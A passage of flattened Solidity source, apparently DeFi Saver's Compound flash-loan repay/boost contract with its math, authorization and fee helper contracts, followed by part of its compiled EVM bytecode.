uint32 block; } function claimComp(address holder) public virtual; function claimComp(address holder, address[] memory cTokens) public virtual; function claimComp(address[] memory holders, address[] memory cTokens, bool borrowers, bool suppliers) public virtual; function compSupplyState(address) public view virtual returns (CompMarketState memory); function compSupplierIndex(address,address) public view virtual returns (uint); function compAccrued(address) public view virtual returns (uint); function compBorrowState(address) public view virtual returns (CompMarketState memory); function compBorrowerIndex(address,address) public view virtual returns (uint); function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory); function exitMarket(address cToken) external virtual returns (uint256); function getAssetsIn(address account) external virtual view returns (address[] memory); function markets(address account) public virtual view returns (bool, uint256); function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256); function oracle() public virtual view returns (address); mapping(address => uint) public compSpeeds; mapping(address => uint) public borrowCaps; } abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code // function execute(bytes memory _code, bytes memory _data) // public // payable // virtual // returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public virtual payable returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } } contract BotRegistry is AdminAuth { mapping (address => bool) public botList; constructor() public { botList[0x776B4a13093e30B05781F97F6A4565B6aa8BE330] = true; botList[0xAED662abcC4FA3314985E67Ea993CAD064a7F5cF] = true; botList[0xa5d330F6619d6bF892A5B87D80272e1607b3e34D] = true; botList[0x5feB4DeE5150B589a7f567EA7CADa2759794A90A] = true; botList[0x7ca06417c1d6f480d3bB195B80692F95A6B66158] = true; } function setBot(address _botAddr, bool _state) public onlyOwner { botList[_botAddr] = _state; } } /// @title Utlity functions for Compound contracts contract CompoundSaverHelper is DSMath, Exponential { using SafeERC20 for ERC20; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; address public constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant COMPOUND_LOGGER = 0x3DD0CDf5fFA28C6847B4B276e2fD256046a44bb7; address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; /// @notice Helper method to payback the Compound debt /// @dev If amount is bigger it will repay the whole debt and send the extra to the _user /// @param _amount Amount of tokens we want to repay /// @param _cBorrowToken Ctoken address we are repaying /// @param _borrowToken Token address we are repaying /// @param _user Owner of the compound position we are paying back function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal { uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this)); if (_amount > wholeDebt) { if (_borrowToken == ETH_ADDRESS) { _user.transfer((_amount - wholeDebt)); } else { ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt)); } _amount = wholeDebt; } approveCToken(_borrowToken, _cBorrowToken); if (_borrowToken == ETH_ADDRESS) { CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}(); } else { require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0); } } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); _gasCost = wdiv(_gasCost, tokenPriceInEth); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (tokenAddr == ETH_ADDRESS) { walletAddr.call{value: feeAmount}(""); } else { ERC20(tokenAddr).safeTransfer(walletAddr, feeAmount); } } /// @notice Calculates the gas cost of transaction and send it to wallet /// @param _amount Amount that is converted /// @param _gasCost Ether amount of gas we are spending for tx /// @param _cTokenAddr CToken addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) { address tokenAddr = getUnderlyingAddr(_cTokenAddr); if (_gasCost != 0) { address oracle = ComptrollerInterface(COMPTROLLER).oracle(); uint usdTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr); uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(CETH_ADDRESS); uint tokenPriceInEth = wdiv(usdTokenPrice, ethPrice); feeAmount = wdiv(_gasCost, tokenPriceInEth); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (feeAmount > 0) { if (tokenAddr == ETH_ADDRESS) { walletAddr.call{value: feeAmount}(""); } else { ERC20(tokenAddr).safeTransfer(walletAddr, feeAmount); } } } /// @notice Enters the market for the collatera and borrow tokens /// @param _cTokenAddrColl Collateral address we are entering the market in /// @param _cTokenAddrBorrow Borrow address we are entering the market in function enterMarket(address _cTokenAddrColl, address _cTokenAddrBorrow) internal { address[] memory markets = new address[](2); markets[0] = _cTokenAddrColl; markets[1] = _cTokenAddrBorrow; ComptrollerInterface(COMPTROLLER).enterMarkets(markets); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveCToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(uint160(address(this))); return proxy.owner(); } /// @notice Returns the maximum amount of collateral available to withdraw /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cCollAddress Collateral we are getting the max value of /// @param _account Users account /// @return Returns the max. collateral amount in that token function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); if (liquidityInUsd == 0) return usersBalance; CTokenInterface(_cCollAddress).accrueInterest(); (, uint collFactorMantissa) = ComptrollerInterface(COMPTROLLER).markets(_cCollAddress); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); (, uint tokensToUsd) = divScalarByExpTruncate(liquidityInUsd, collateralFactor); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress); uint liqInToken = wdiv(tokensToUsd, usdPrice); if (liqInToken > usersBalance) return usersBalance; return sub(liqInToken, (liqInToken / 100)); // cut off 1% due to rounding issues } /// @notice Returns the maximum amount of borrow amount available /// @dev Due to rounding errors the result is - 1% wei from the exact amount /// @param _cBorrowAddress Borrow token we are getting the max value of /// @param _account Users account /// @return Returns the max. borrow amount in that token function getMaxBorrow(address _cBorrowAddress, address _account) public returns (uint) { (, uint liquidityInUsd, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account); address oracle = ComptrollerInterface(COMPTROLLER).oracle(); CTokenInterface(_cBorrowAddress).accrueInterest(); uint usdPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cBorrowAddress); uint liquidityInToken = wdiv(liquidityInUsd, usdPrice); return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues } function isAutomation() internal view returns(bool) { return BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin); } } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log(address _contract, address _caller, string memory _logName, bytes memory _data) public { emit LogEvent(_contract, _caller, _logName, _data); } } /// @title Implements the actual logic of Repay/Boost with FL contract CompoundSaverFlashProxy is DFSExchangeCore, CompoundSaverHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; using SafeERC20 for ERC20; /// @notice Repays the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for transaction /// @param _flashLoanData Data about FL [amount, fee] function flashRepay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = add(_flashLoanData[0], _flashLoanData[1]); uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); // draw max coll require(CTokenInterface(_cAddresses[0]).redeemUnderlying(maxColl) == 0, "Redeem failed"); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // swap max coll + loanAmount _exData.srcAmount = add(maxColl, _flashLoanData[0]); _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exData.user = user; (,swapAmount) = _sell(_exData); // get fee swapAmount = sub(swapAmount, getGasCost(swapAmount, _gasCost, _cAddresses[1])); } else { swapAmount = add(maxColl, _flashLoanData[0]); swapAmount = sub(swapAmount, getGasCost(swapAmount, _gasCost, _cAddresses[1])); } // payback debt paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // draw collateral for loanAmount + loanFee require(CTokenInterface(_cAddresses[0]).redeemUnderlying(flashBorrowed) == 0, "Redeem failed"); // repay flash loan returnFlashLoan(collToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Boosts the position and sends tokens back for FL /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction /// @param _flashLoanData Data about FL [amount, fee] function flashBoost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost, uint[2] memory _flashLoanData // amount, fee ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint flashBorrowed = add(_flashLoanData[0], _flashLoanData[1]); // borrow max amount uint borrowAmount = getMaxBorrow(_cAddresses[1], address(this)); require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0, "Borrow failed"); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { // get dfs fee _exData.srcAmount = add(borrowAmount, _flashLoanData[0]); _exData.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _exData.user = user; (, swapAmount) = _sell(_exData); swapAmount = sub(swapAmount, getGasCost(swapAmount, _gasCost, _cAddresses[0])); } else { swapAmount = add(borrowAmount, _flashLoanData[0]); swapAmount = sub(swapAmount, getGasCost(swapAmount, _gasCost, _cAddresses[0])); } // deposit swaped collateral depositCollateral(collToken, _cAddresses[0], swapAmount); // borrow token to repay flash loan require(CTokenInterface(_cAddresses[1]).borrow(flashBorrowed) == 0, "Borrow failed"); // repay flash loan returnFlashLoan(borrowToken, flashBorrowed); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "CompoundBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Helper method to deposit tokens in Compound /// @param _collToken Token address of the collateral /// @param _cCollToken CToken address of the collateral /// @param _depositAmount Amount to deposit function depositCollateral(address _collToken, address _cCollToken, uint _depositAmount) internal { approveCToken(_collToken, _cCollToken); if (_collToken != ETH_ADDRESS) { require(CTokenInterface(_cCollToken).mint(_depositAmount) == 0, "Deposit failed"); } else { CEtherInterface(_cCollToken).mint{value: _depositAmount}(); // reverts on fail } } /// @notice Returns the tokens/ether to the msg.sender which is the FL contract /// @param _tokenAddr Address of token which we return /// @param _amount Amount to return function returnFlashLoan(address _tokenAddr, uint _amount) internal { if (_tokenAddr != ETH_ADDRESS) { ERC20(_tokenAddr).safeTransfer(msg.sender, _amount); } msg.sender.transfer(address(this).balance); } }
0x6080604052600436106101a05760003560e01c80634ab45d33116100ec578063a342f2381161008a578063a734f06e11610064578063a734f06e14610261578063ae08fd10146103cc578063c50ebaf8146103e1578063cc694d48146103f6576101a7565b8063a342f238146102f7578063a3b8e5d11461039f578063a46a66c914610360576101a7565b80635f82c67e116100c65780635f82c67e1461034b5780637b925ab11461036057806381b94280146103755780638c8a79581461038a576101a7565b80634ab45d331461030c5780634d2ab9dc14610321578063526d646114610336576101a7565b806329f7fc9e1161015957806339af24ae1161013357806339af24ae146102b857806339df1878146102cd578063449b9ffa146102e257806346904840146102f7576101a7565b806329f7fc9e146102615780632b6e658114610283578063314b6332146102a3576101a7565b806304c9805c146101ac57806308d4f52a146101d75780630a3d2083146102045780631ec18ec01461021957806326e9c9c414610239578063278d58311461024c576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161040b565b6040516101ce91906136a6565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004613056565b610411565b6040516101ce919061355d565b610217610212366004613191565b61043b565b005b34801561022557600080fd5b506101c1610234366004612f0a565b61076c565b610217610247366004613191565b6109a3565b34801561025857600080fd5b506101f7610c5b565b34801561026d57600080fd5b50610276610c83565b6040516101ce91906133e9565b34801561028f57600080fd5b506101c161029e366004612f0a565b610c95565b3480156102af57600080fd5b50610276611026565b3480156102c457600080fd5b5061027661103e565b3480156102d957600080fd5b50610276611056565b3480156102ee57600080fd5b506101f761106e565b34801561030357600080fd5b506102766110a0565b34801561031857600080fd5b506102766110b8565b34801561032d57600080fd5b506101c16110d0565b34801561034257600080fd5b506102766110d6565b34801561035757600080fd5b506102766110ee565b34801561036c57600080fd5b50610276611106565b34801561038157600080fd5b5061027661111e565b34801561039657600080fd5b50610276611136565b3480156103ab57600080fd5b506103bf6103ba366004613023565b61114e565b6040516101ce9190613667565b3480156103d857600080fd5b506101f761116a565b3480156103ed57600080fd5b506101f761119b565b34801561040257600080fd5b506101f76111ca565b61014d81565b6060816040516020016104249190613667565b60405160208183030381529060405290505b919050565b6104548360005b602002015184600160200201516111f5565b600061045e6112fc565b9050600061047b83825b60200201518460015b6020020151611379565b9050600061049086600160200201513061076c565b602087015160405163317afabb60e21b81529192506001600160a01b03169063c5ebeaec906104c39084906004016136a6565b602060405180830381600087803b1580156104dd57600080fd5b505af11580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190613248565b1561053b5760405162461bcd60e51b8152600401610532906135bf565b60405180910390fd5b600061054d87825b6020020151611389565b9050600061055c886001610543565b90506000816001600160a01b0316836001600160a01b0316146105e65761058584886000610471565b60408b015261059261143f565b61059e576101906105a2565b61014d5b60a08b01526001600160a01b03861660c08b01526105bf8a6114ce565b91506105df9050816105da818b8d60005b6020020151611809565b611b17565b9050610608565b6105f284886000610471565b9050610605816105da818b8d60006105d0565b90505b885161061690849083611b27565b602089015160405163317afabb60e21b81526001600160a01b039091169063c5ebeaec906106489088906004016136a6565b602060405180830381600087803b15801561066257600080fd5b505af1158015610676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069a9190613248565b156106b75760405162461bcd60e51b8152600401610532906135bf565b6106c18286611c49565b735c55b921f590a89c1ebe84df170e655a82b621266001600160a01b031663d061ce5030338d6040015185888860405160200161070194939291906136af565b6040516020818303038152906040526040518463ffffffff1660e01b815260040161072e939291906133fd565b600060405180830381600087803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b5050505050505050505050505050565b604051635ec88c7960e01b81526000908190733d9819210a31b4961b30ef54be2aed79b9c9cd3b90635ec88c79906107a89086906004016133e9565b60606040518083038186803b1580156107c057600080fd5b505afa1580156107d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f89190613260565b509150506000733d9819210a31b4961b30ef54be2aed79b9c9cd3b6001600160a01b0316637dc0d1d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561084b57600080fd5b505afa15801561085f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108839190612eee565b9050846001600160a01b031663a6afed956040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156108c057600080fd5b505af11580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190613248565b5060405163fc57d4df60e01b81526000906001600160a01b0383169063fc57d4df906109289089906004016133e9565b60206040518083038186803b15801561094057600080fd5b505afa158015610954573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109789190613248565b905060006109868483611ca7565b9050610996816064815b04611b17565b9450505050505b92915050565b6109ae836000610442565b60006109b86112fc565b905060006109c68382610468565b85519091506000906109d89030610c95565b865160405163852a12e360e01b81529192506001600160a01b03169063852a12e390610a089084906004016136a6565b602060405180830381600087803b158015610a2257600080fd5b505af1158015610a36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5a9190613248565b1